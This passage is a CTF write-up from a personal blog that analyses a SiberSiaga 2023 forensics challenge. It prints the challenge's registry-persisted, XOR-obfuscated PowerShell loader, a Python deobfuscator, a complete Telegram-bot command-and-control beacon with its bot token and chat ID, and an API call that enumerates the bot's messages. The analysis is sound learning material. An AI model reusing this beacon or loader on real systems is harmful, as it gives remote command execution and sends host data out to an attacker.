and execute it with iex or Invoke-Expression. The PowerShell downloaded is shown here:

$batchScript = { whoami | Out-File -Append "$env:APPDATA\s.sibersiaga"; Start-Process "$env:APPDATA\s.sibersiaga"; Remove-Item "$env:APPDATA\s.sibersiaga"; Exit }; Get-ChildItem -Path "$env:SystemRoot\System32" -Filter "notepad.exe" -File | ForEach-Object { Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command & {$batchScript}" -Wait }

string_1 = WKBPSEVAXXGhewwawXX*wmfavwmece
string_2 = wmfavwmecebmha
string_3 = VJCQRDW@YYFidvv`vYYvlg`wvldbdcli`YYvm`iiYYju`kYYfjhhdka

Then remember I mentioned that XOR functions were used everywhere? True enough from the VirusTotal report, they are EVERYWHERE. However, I extracted the strings for you. The XOR functions again, used different keys to encrypt the string.


Using the same Python script with different keys, reveals that the strings are as follows:

decrypted-strings

Wait a minute… Those strings look like values that were in the registry!


Another string that was found was a PowerShell command and the command was encoded in Base64:

WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAHAAIAAnAFIAZQBnAGkAcwB0AHIAeQA6ADoASABLAEUAWQBfAEMATABBAFMAUwBFAFMAXwBSAE8ATwBUAFwAcwBpAGIAZQByAHMAaQBhAGcAYQBmAGkAbABlAFwAcwBoAGUAbABsAFwAbwBwAGUAbgBcAGMAbwBtAG0AYQBuAGQAJwAgAC0ATgBhAG0AZQAgACcAcwBpAGIAZQByAHMAaQBhAGcAYQAnACkALgAnAHMAaQBiAGUAcgBzAGkAYQBnAGEAJwApAHwAJQAgAC0AQgBlAGcAaQBuAHsAJABpAD0AMAB9ACAALQBQAHIAbwBjAGUAcwBzAHsAJABfACAAPQAgACQAXwAgAC0AYgB4AG8AcgAgACQAaQAlADIANQA2ADsAJABpACsAKwA7ACQAXwB9ACkAKQAgAHwAIABpAGUAeAA=

cyberchef-recipes

Loading the script into CyberChef and applying the FromBase64 recipe along with the Decode text recipe reveals the actual PowerShell command:

[System.Text.Encoding]::UTF8.GetString(([System.Convert]::FromBase64String((gp 'Registry::HKEY_CLASSES_ROOT\sibersiagafile\shell\open\command' -Name 'sibersiaga').'sibersiaga')|% -Begin{$i=0} -Process{$_ = $_ -bxor $i%256;$i++;$_})) | iex

The reason why UTF-16LE encoding is used for PowerShell is because Windows jumped from code pages (called multi byte) to UTF-16LE (called wide char). It made the code simpler if you assume all chars were 16 bits. They assumed that (this encoding is called UCS-2). Unicode consortium later decided 16 bits was not enough, but it was too late for Microsoft to change course. So, their definition of “wide char” just changed from UCS-2 to UTF-16LE.


Analysis

With all the puzzle pieces gathered, let’s ermmm piece them all together! What happens after a user launches the executable and the DLL function is called is as follows:

  1. Creates a key in SOFTWARE\Classes\.sibersiaga. This registry maps file extensions to ProgIDs (Programmatic Identifiers), helping the system determine which program to use for opening a file with a particular extension.

  2. The Default value of sibersiagafile is set.

  3. Another key is created in

    SOFTWARE\Classes\sibersiagafile\shell\open\command
    

    The \shell\open\command key determines what action is taken when a file type is opened

  4. The Default value of executing the encoded PowerShell command is set.

  5. The encoded PowerShell command will get the sibersiaga subkey from the

    HKEY_CLASSES_ROOT\sibersiagafile\shell\open\command
    

    key in the registry. The value of the sibersiaga subkey is encoded and encrypted as follows:

    • Each byte in the byte array is iterated over with the variable $i.
    • A XOR operation on each byte with the current value of $i and $i is kept under 256 using a modulo operation
    • The modulo operation ensures that the values stays between 0-255 as the XOR operation is being performed at the byte level.
    • $i is then incremented after processing each byte.
    • Then , the result will be encoded in Base64
    • The Base64 value will then be XORed with 2 as the key
  6. The purpose of the encoded PowerShell script is used to decrypt and decode the value of the sibersiaga string and execute it with iex or Invoke-Expression in PowerShell.

  7. The encoded PowerShell script will only execute when a file with the sibersiaga extension is opened.

  8. That’s where the other PowerShell script is used, the one downloaded onto the victim.

  9. The script will append the result of the whoami command into a file called s.sibersiaga.

  10. The script will then launch the file as a process in notepad.exe, which will start the encoded PowerShell script in the registry.

  11. The script will then delete s.sibersiaga which will close notepad.exe.


Knowing how the value sibersiaga subkey is encrypted and encoded, let’s create a python script to deobfuscate the string.

import base64

def xor_decoder(encoded_string, xor_value=2):
    decoded_chars = [chr(ord(char) ^ xor_value) for char in encoded_string]
    return ''.join(decoded_chars)

def char_xor_decoder(input_bytes):
    output_bytes = bytearray(len(input_bytes))
    i = 0
    for byte in input_bytes:
        decoded_byte = byte ^ (i % 256)
        output_bytes[i] = decoded_byte
        i += 1
    return output_bytes

function_101010_string_4=  'U3H5aJ@ec{nE`J6nZ0j:gZn{f2L5dJjhTZj2glv6`GKcE1DEP3@WVnzSgnnFUWDOZ32RazuZ[nvNACeXG@;sWxLua0DmXzKpM0vocP:)Klz{gD;XaAG7RF21X1nscUztTnnVU3LaZA[rNx:RASu)NQ[AIzi4EiWeQnPOQV[TVjRq7qpG3)c-25)zsKcEsgdppcUirIUim4QjsHgPwRF1)70HzfMGj)5q4-{S;)lF0O`A1vxg2ftAnXkW3LpP0H5sqIUhv4Jq4HI6pcw-saFG45giw5d24R`-t4l4)XQUl[pctcgLim{WkKcGh6U[x:5AlrAdnvQQe74a2LQakXQc:emnc1O7`JPsIAvkd1j;dVW-Rlv3f1r6aZD)LJX7OlftCkumNk6mNG7MCSmESiHcFzj-T2SXgnPfZTrME0;GVWqnNEuZNFahHkueHAzkCFq5LQn4fxK2MkS;fZr-M{e1M2nKVFSDF@Km@ezAUiTGDUH4WTHVT@CMJez2aCXzfzaXsIZt4wAns)`o5cst4-hl45lsl7o2v`c1:gt1w5JK5RcCe:pZ2LZTl[gE{;tDe;pI1LVTufZ[oLhI1rZX2:ocn)Q3pckjs)-mw4{ip6Emt`{zvpdqv501m6gutw`6;ds0jOhGn6EfivpOhr)AkO1W3fFTn70Ax5U6vcotp5otqN7LPAK7RkWk`lergE7t[o@jfZHoflC2L@mQX@aPgZDvge@cN{iG@S[JFG7dSieLGu;pTifcWEeOFZXaVZzHTDmZcU:nLk2jQ23mcUrpJ{e4[jinLx6GHxilRQqwKlz-DjShLDe-KSqSFjmE@C[HCzrLWDuaGjiSTnW-NFO-Zn3VAgJv;)cimgJ{6g0Jec{vps-76-)xwaFi-pk5:w-m5g0nh65F2:0N2qNGxO1XxaACuONUlfJ`uXIdlO1T2LlVn7AxrI{lkcA3vIowp-Qtrc)5h5k05tF;:p4::R{twcUs6qQEn6sCzfxf{O0RjXpZpcA;mcglqcg6vpU:0qJE1fsUaADqXlOnXUjoX0;mgEPj[VGxJznrE@z)dhG)flT7RhHHWizOWCT;ViXffuHZKASRG@GQD3naWjaDESm0LiCxLVarI{:j`ZfwO2PCc0zv`juiOAClgS[4Oh2rgo3qXnLTSGDAS2uODCrKPF:X@W3O@uSDCe@MUniUA@@WFziPEzh{6M)v4-djsMpo-s)isdpe)-V:wpt{:)RL4d544Rhvt[oR2O`Z2OpV3KxPrscLhm)SiXIVnLxSn7Af3;N[lXRVvMJolMsuvsMrtc)Wrcll54ta0RR2;d`1)Rl4)-x;-twLkK`guNpKirkLk7)HqmgN{-x62;VT3vd[0fp`1L1g007e`0[mKZHog0K1N3Oh[0rh[lL2aVvkao@vMhXt`ZH0TCGCCz6d@eWVHACNFC2MFzCPGjOWDPXgZjiQEzSXWD6vHEHwIAuvKojvKxvn`UOeKlD4fxm2MxH6fF[{Lxj)guWRDDilIkq1RV2tMQKqK{rXWT:a@nTgWz[[Dz7aW@KU4)Qkr)Ru5)Mjscdi-s0os-5u--c2wRp):-{4wd1z:p0HkKN[sc)Ej6kHkmwOh[4RiHEQi7QTivpf{qlc0;kgewFn4wgurNUq4NZsmso37-1w;)RxsRUXmsx2kc)wvNA60)xmu:VDzqdK{apNxO1Mx;FP2rsQ3f5T0vlZlm1f0rHnalDk[0CtdCWFIkqqNQ6tOFG{OxS3Lha6MVm5RF24aiTQWWHFS@qDdGjXSCzrSWDTG@C)RjWUDzeXEjqaJP6d[EDk[0S6Q23mcUrp`E3w`1@zalL2fZX1dFvlc0fSTJ;CSWHFPGTEP2jHQivOVW6[E@egDnPfWjT[T@[RZDiVEtR{6)Vjs:pk7w5)64Uv;[Icq`IxvNU0v5k7wpw:t`4-eKEAe6Q@z[gTkX4`lH0TmpsPirMWnXcZoHoco7{flr-e6gNh7I{e7)Fj5shq7w5pqth{-pMj;tM3tIomt`s5:c{GhKQSha)axKpZx6EKlX{PnrdfwHA[iK{P0v5a{a5ROJuRAQSnHkamIQmpNA2wNxCzOhO2LV[1aUv1MxDK`J[CC2rZWDTTJSaEQ3vDC3rIZDPTSTT[EDjIZjTXW2icD0S3NQejI0;mM{uiNuGmRVuzLhfqLx21KuauRoX6fZm0@GjGDuGfGnrOFj:AAG3WTT@TDz2AVxW6LQitNxitOF5LzII7tsUk5tkr4)Z-)wt;qRx16Md2:dI6m5s-vNl@qa1G2fFDuqMHzaxX0O1I{-FX3XtV0rEgi;Za{ahf0vwPi5QeqNA1p4ot6g4r6Mov7tlx1;l2;d`1)Rl4)-x;-t-CuaNFzOZEz:{Nuf`KhwRn2LJQ2;VT3vd[0fp`1L1g112OAAOiHQ[lIAisI{uvNlKfExKxLFW0Lxe7Xz[URV6-CCGACuP0S3OD[D7MSZ3aSG@WSGfLDPP-a1rtCU@6WGirO{2vIQCmO0rrX{WvKAvtaeSkLxWjO1T6fAu4OAe5d2SOAufr`2XJQGiZXo[S'

print(char_xor_decoder(base64.b64decode(xor_decoder(string4,2))))

And this is what we get:

[System.Net.ServicePointManager]::SecurityProtocol=@("Tls12","Tls11","Tls","Ssl3")
$token="6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78"
$id=467115391
$mid=(gp "HKCU:\\Environment" -name Update).Update
$guid = (gp "HKCU:\\Environment" -name guid).guid
$ip=irm "https://ifconfig.me/ip"

if( -not (New-Object System.Threading.Mutex($false, $guid)).WaitOne(1)){
    exit
}
if($mid -and $guid){
    irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip reconnected!"
}
else {
    $guid = [guid]::NewGuid().guid
    Set-ItemProperty "HKCU:\\Environment" -name "GUID" -value $guid
    irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip new connection!"
}
if($mid -isnot [int]){
    $mid = 0
}
while(1){
    Start-Sleep 60;
    (irm -Uri "https://api.telegram.org/bot$($token)/getUpdates").result|%{
        if ($mid -lt $_.update_id) {
            $mid=$_.update_id;
            $name,$task=$_.message.text -split " :: ";
            if ( ($name -like $ip) -or ($name -like $env:COMPUTERNAME) -or ($name -like $guid) -or ($name -like "all")) {
                $message = $($task | iex)2>&1 | Out-String;
                if ("" -eq $message){
                    $message="Task Done!"
                }
                $b=0;
                while ($b -lt $message.Length) {
                    $c = 4000;
                    if (($c + $b) -gt $message.Length){$c=$message.Length % 4000}
                    irm -Uri "https://api.telegram.org/bot$($token)/sendMessage?chat_id=$($id)&text=$guid :: $env:COMPUTERNAME :: $ip answer message : $($_.message.message_id)`n$($message.Substring($b,$c))"
                    $b+=$c
                }
            }
        }
        Set-ItemProperty "HKCU:\\Environment" -name "Update" -value $mid
    }
}

This PowerShell script is basically a Command and Control (C2) beacon which is programmed to receive and send responses through a Telegram bot. In the script, we have the bot $token and the chat_id of the conversation with the Telegram bot.

  1. The script will check whether 2 instances of the script is running through the $guid, if it is the script will exit

  2. Then, if the registry subkeys Update and guid exists within HKCU:\Environment, it will send a web request with irm or Invoke-RestMethod to the Telegram bot with the IP address of the machine, which is obtained through a web request with irm to http://ifconfig.me/ip. The $guid and hostname are also sent with the message “reconnected!”

  3. Otherwise, the script will create a new $guid

  4. The script enters a loop that runs indefinitely.

  5. At the beginning of each loop iteration, the script sleeps for 60 seconds. This pause limits the frequency of Telegram API requests.

  6. The script sends a request to the Telegram bot API to retrieve any new updates (messages) using the bot’s token.

  7. For each update received from the bot, the script checks if the update’s ID (update_id) is greater than the last processed ID ($mid), indicating a new message.

  8. Each new message is split into two parts: name and task, based on the delimiter " :: “.

  9. The script checks if the name part of the message matches this system’s IP, computer name, GUID, or the string “all”.

  10. If the message is intended for this system, the task part of the message is executed as a PowerShell command.

  11. The output of the executed command is captured. If there is no output, a default message “Task Done!” is used.

  12. The script sends the output back to the Telegram chat. If the output is long, it breaks it into chunks of up to 4000 characters and sends each chunk separately.

  13. After processing each message, the script updates the last processed message ID in the registry. This ensures that messages are not processed more than once.

  14. The script returns to the beginning of the loop and repeats this process indefinitely.


c2-backend

Fareed gave me a glimpse of the backend of the malware as I was writing this write up, so that’s basically how the C2 server looks like.

Of course I’m going redact some things duh…


telegram-api-method

Reading the Telegram documentation for API calls. I found out that the fowardMessage method allows us to forward messages based on the chat_id, from_chat_id and message_id. When the method is successfully called, the forwarded message will be returned.

https://api.telegram.org/bot6420681879:AAFUdeaPBVsYjNo3W2-62Jh0llgHGSc9T78/forwardMessage?from_chat_id=467115391&message_id=13&chat_id=467115391

Knowing that we have the chat_id, let’s enumerate the message_id, the identifier of the messages in the chat_id by forwarding the message to the same chat_id.

flag

Going through the message_id, we found one that has the flag!


In conclusion, during the CTF, I was not the best Forensics person nor was I the best reverse engineer. However, I am a determined learner, and after months after the CTF I am finally able to comprehend the hardest challenge I have ever done so far. Lastly, of course thank you Fareed for making this challenge as this was the start of my journey of Trying Harder in Forensics and Malware Analysis.

Flag: sibersiaga{now_y0u_kn0w_how_telegram_C2_works!}

jigsaw's blog

i’m zach and I build labs and create ctf challenges


A Forensics/Malware Analysis CTF Challenge by Fareed Fauzi made during SiberSiaga 2023

By jigsaw, 2023-12-22


On this page: